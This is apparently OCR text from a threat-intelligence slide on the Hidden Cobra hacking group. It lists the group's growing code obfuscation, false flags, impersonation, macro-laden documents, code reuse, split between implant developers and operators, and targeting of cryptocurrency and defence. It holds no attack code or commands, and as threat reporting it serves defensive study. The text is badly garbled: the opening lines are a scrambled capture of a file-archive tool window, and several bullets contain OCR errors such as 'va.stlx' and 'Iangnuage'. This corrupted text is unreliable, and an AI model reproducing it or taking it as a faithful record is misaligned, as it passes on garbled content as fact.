136,168 5 BdtractTo  Test View  Dele Find  Wizard  Info VirusScan

160,938 1 [ coceOeeBan0b04b 748014 760G Tedesd09R23295¢ 72307505 - solid ACE archive, u
216226 [Bekmyiewexe Malware File 06 %8816 Application 21/2019100.. 2850006
193,008
166,467
751,023
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+ Hidden Cobra is a resourceful group with numerous different
implants. Implants and operations have improved over the
years.

*  More intentional obfuscation of code to mask identifying
any similarities. Samples now include heavy protection
mechanisms making RE a difficult task

+ Usage of false flags and code from other APT groups,
makes attribution much more difficult. We have to rely on
much more information to make a conclusive link

* Impersonation techniques have va.stlx improved, Iangnuage
skills associated with their victims is hard to discern that™a
foreign speaker is responsible

*  Macro usage in malicious documents have become
commonplace

+ Code sharing is a consistent pattern amongst this cyber actor
and code from previous implants show up later in néw attacks

*  We see the code factory cycle continuing throughout these
campaigns

« ltis clear that a different group is responsible for the

is
development of implants and not the operators behind
some of the cyber attacks

* There is different groups inside Hidden Cobra targeting
different sectors with different objectives

+  We have seen a shift from the classical targeting methods
we observed in Operation Troy

*  Crypto Currency
» Defense Targeting
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